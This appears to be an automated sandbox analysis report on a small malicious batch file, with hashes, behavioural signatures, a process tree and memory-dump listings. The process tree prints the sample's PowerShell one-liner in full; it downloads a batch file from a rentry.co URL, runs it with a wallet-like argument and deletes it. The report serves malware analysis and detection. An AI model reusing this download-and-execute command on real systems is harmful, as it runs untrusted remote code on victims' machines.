Analysis
-
max time kernel
1007s -
max time network
1017s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
01-07-2024 05:13
Static task
static1
Behavioral task
behavioral1
Sample
275262419817998.bat
Resource
win10-20240611-en
Behavioral task
behavioral2
Sample
275262419817998.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
275262419817998.bat
Resource
win11-20240508-en
General
-
Target
275262419817998.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Signatures
-
Delays execution with timeout.exe 12 IoCs
Processes:
timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exepid process 2520 timeout.exe 4792 timeout.exe 4324 timeout.exe 1276 timeout.exe 4456 timeout.exe 3096 timeout.exe 1956 timeout.exe 1796 timeout.exe 4432 timeout.exe 1344 timeout.exe 652 timeout.exe 3068 timeout.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4696 powershell.exe 4696 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exeWMIC.exeWMIC.exedescription pid process Token: SeDebugPrivilege 4696 powershell.exe Token: SeIncreaseQuotaPrivilege 1792 WMIC.exe Token: SeSecurityPrivilege 1792 WMIC.exe Token: SeTakeOwnershipPrivilege 1792 WMIC.exe Token: SeLoadDriverPrivilege 1792 WMIC.exe Token: SeSystemProfilePrivilege 1792 WMIC.exe Token: SeSystemtimePrivilege 1792 WMIC.exe Token: SeProfSingleProcessPrivilege 1792 WMIC.exe Token: SeIncBasePriorityPrivilege 1792 WMIC.exe Token: SeCreatePagefilePrivilege 1792 WMIC.exe Token: SeBackupPrivilege 1792 WMIC.exe Token: SeRestorePrivilege 1792 WMIC.exe Token: SeShutdownPrivilege 1792 WMIC.exe Token: SeDebugPrivilege 1792 WMIC.exe Token: SeSystemEnvironmentPrivilege 1792 WMIC.exe Token: SeRemoteShutdownPrivilege 1792 WMIC.exe Token: SeUndockPrivilege 1792 WMIC.exe Token: SeManageVolumePrivilege 1792 WMIC.exe Token: 33 1792 WMIC.exe Token: 34 1792 WMIC.exe Token: 35 1792 WMIC.exe Token: 36 1792 WMIC.exe Token: SeIncreaseQuotaPrivilege 1792 WMIC.exe Token: SeSecurityPrivilege 1792 WMIC.exe Token: SeTakeOwnershipPrivilege 1792 WMIC.exe Token: SeLoadDriverPrivilege 1792 WMIC.exe Token: SeSystemProfilePrivilege 1792 WMIC.exe Token: SeSystemtimePrivilege 1792 WMIC.exe Token: SeProfSingleProcessPrivilege 1792 WMIC.exe Token: SeIncBasePriorityPrivilege 1792 WMIC.exe Token: SeCreatePagefilePrivilege 1792 WMIC.exe Token: SeBackupPrivilege 1792 WMIC.exe Token: SeRestorePrivilege 1792 WMIC.exe Token: SeShutdownPrivilege 1792 WMIC.exe Token: SeDebugPrivilege 1792 WMIC.exe Token: SeSystemEnvironmentPrivilege 1792 WMIC.exe Token: SeRemoteShutdownPrivilege 1792 WMIC.exe Token: SeUndockPrivilege 1792 WMIC.exe Token: SeManageVolumePrivilege 1792 WMIC.exe Token: 33 1792 WMIC.exe Token: 34 1792 WMIC.exe Token: 35 1792 WMIC.exe Token: 36 1792 WMIC.exe Token: SeIncreaseQuotaPrivilege 1508 WMIC.exe Token: SeSecurityPrivilege 1508 WMIC.exe Token: SeTakeOwnershipPrivilege 1508 WMIC.exe Token: SeLoadDriverPrivilege 1508 WMIC.exe Token: SeSystemProfilePrivilege 1508 WMIC.exe Token: SeSystemtimePrivilege 1508 WMIC.exe Token: SeProfSingleProcessPrivilege 1508 WMIC.exe Token: SeIncBasePriorityPrivilege 1508 WMIC.exe Token: SeCreatePagefilePrivilege 1508 WMIC.exe Token: SeBackupPrivilege 1508 WMIC.exe Token: SeRestorePrivilege 1508 WMIC.exe Token: SeShutdownPrivilege 1508 WMIC.exe Token: SeDebugPrivilege 1508 WMIC.exe Token: SeSystemEnvironmentPrivilege 1508 WMIC.exe Token: SeRemoteShutdownPrivilege 1508 WMIC.exe Token: SeUndockPrivilege 1508 WMIC.exe Token: SeManageVolumePrivilege 1508 WMIC.exe Token: 33 1508 WMIC.exe Token: 34 1508 WMIC.exe Token: 35 1508 WMIC.exe Token: 36 1508 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 1524 wrote to memory of 4696 1524 cmd.exe powershell.exe PID 1524 wrote to memory of 4696 1524 cmd.exe powershell.exe PID 1524 wrote to memory of 1648 1524 cmd.exe cmd.exe PID 1524 wrote to memory of 1648 1524 cmd.exe cmd.exe PID 1648 wrote to memory of 1792 1648 cmd.exe WMIC.exe PID 1648 wrote to memory of 1792 1648 cmd.exe WMIC.exe PID 1524 wrote to memory of 4456 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 4456 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 2924 1524 cmd.exe cmd.exe PID 1524 wrote to memory of 2924 1524 cmd.exe cmd.exe PID 2924 wrote to memory of 1508 2924 cmd.exe WMIC.exe PID 2924 wrote to memory of 1508 2924 cmd.exe WMIC.exe PID 1524 wrote to memory of 3096 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 3096 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 3592 1524 cmd.exe cmd.exe PID 1524 wrote to memory of 3592 1524 cmd.exe cmd.exe PID 3592 wrote to memory of 1860 3592 cmd.exe WMIC.exe PID 3592 wrote to memory of 1860 3592 cmd.exe WMIC.exe PID 1524 wrote to memory of 2520 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 2520 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 2968 1524 cmd.exe cmd.exe PID 1524 wrote to memory of 2968 1524 cmd.exe cmd.exe PID 2968 wrote to memory of 4024 2968 cmd.exe WMIC.exe PID 2968 wrote to memory of 4024 2968 cmd.exe WMIC.exe PID 1524 wrote to memory of 1956 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 1956 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 3980 1524 cmd.exe cmd.exe PID 1524 wrote to memory of 3980 1524 cmd.exe cmd.exe PID 3980 wrote to memory of 2024 3980 cmd.exe WMIC.exe PID 3980 wrote to memory of 2024 3980 cmd.exe WMIC.exe PID 1524 wrote to memory of 1796 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 1796 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 4832 1524 cmd.exe cmd.exe PID 1524 wrote to memory of 4832 1524 cmd.exe cmd.exe PID 4832 wrote to memory of 4372 4832 cmd.exe WMIC.exe PID 4832 wrote to memory of 4372 4832 cmd.exe WMIC.exe PID 1524 wrote to memory of 4432 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 4432 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 1460 1524 cmd.exe cmd.exe PID 1524 wrote to memory of 1460 1524 cmd.exe cmd.exe PID 1460 wrote to memory of 324 1460 cmd.exe WMIC.exe PID 1460 wrote to memory of 324 1460 cmd.exe WMIC.exe PID 1524 wrote to memory of 1344 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 1344 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 2368 1524 cmd.exe cmd.exe PID 1524 wrote to memory of 2368 1524 cmd.exe cmd.exe PID 2368 wrote to memory of 5112 2368 cmd.exe WMIC.exe PID 2368 wrote to memory of 5112 2368 cmd.exe WMIC.exe PID 1524 wrote to memory of 652 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 652 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 4808 1524 cmd.exe cmd.exe PID 1524 wrote to memory of 4808 1524 cmd.exe cmd.exe PID 4808 wrote to memory of 3344 4808 cmd.exe WMIC.exe PID 4808 wrote to memory of 3344 4808 cmd.exe WMIC.exe PID 1524 wrote to memory of 1276 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 1276 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 3444 1524 cmd.exe cmd.exe PID 1524 wrote to memory of 3444 1524 cmd.exe cmd.exe PID 3444 wrote to memory of 1300 3444 cmd.exe WMIC.exe PID 3444 wrote to memory of 1300 3444 cmd.exe WMIC.exe PID 1524 wrote to memory of 4792 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 4792 1524 cmd.exe timeout.exe PID 1524 wrote to memory of 3256 1524 cmd.exe cmd.exe PID 1524 wrote to memory of 3256 1524 cmd.exe cmd.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\275262419817998.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b5eqqe12.3oc.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/4696-0-0x00007FFD5B5C3000-0x00007FFD5B5C5000-memory.dmpFilesize
8KB
-
memory/4696-6-0x00000262524C0000-0x00000262524E2000-memory.dmpFilesize
136KB
-
memory/4696-11-0x00007FFD5B5C0000-0x00007FFD5C081000-memory.dmpFilesize
10.8MB
-
memory/4696-12-0x00007FFD5B5C0000-0x00007FFD5C081000-memory.dmpFilesize
10.8MB
-
memory/4696-13-0x0000026252620000-0x000002625283C000-memory.dmpFilesize
2.1MB
-
memory/4696-14-0x00007FFD5B5C0000-0x00007FFD5C081000-memory.dmpFilesize
10.8MB
-
memory/4696-15-0x00007FFD5B5C0000-0x00007FFD5C081000-memory.dmpFilesize
10.8MB
-
memory/4696-18-0x0000026252620000-0x000002625283C000-memory.dmpFilesize
2.1MB
-
memory/4696-19-0x00007FFD5B5C0000-0x00007FFD5C081000-memory.dmpFilesize
10.8MB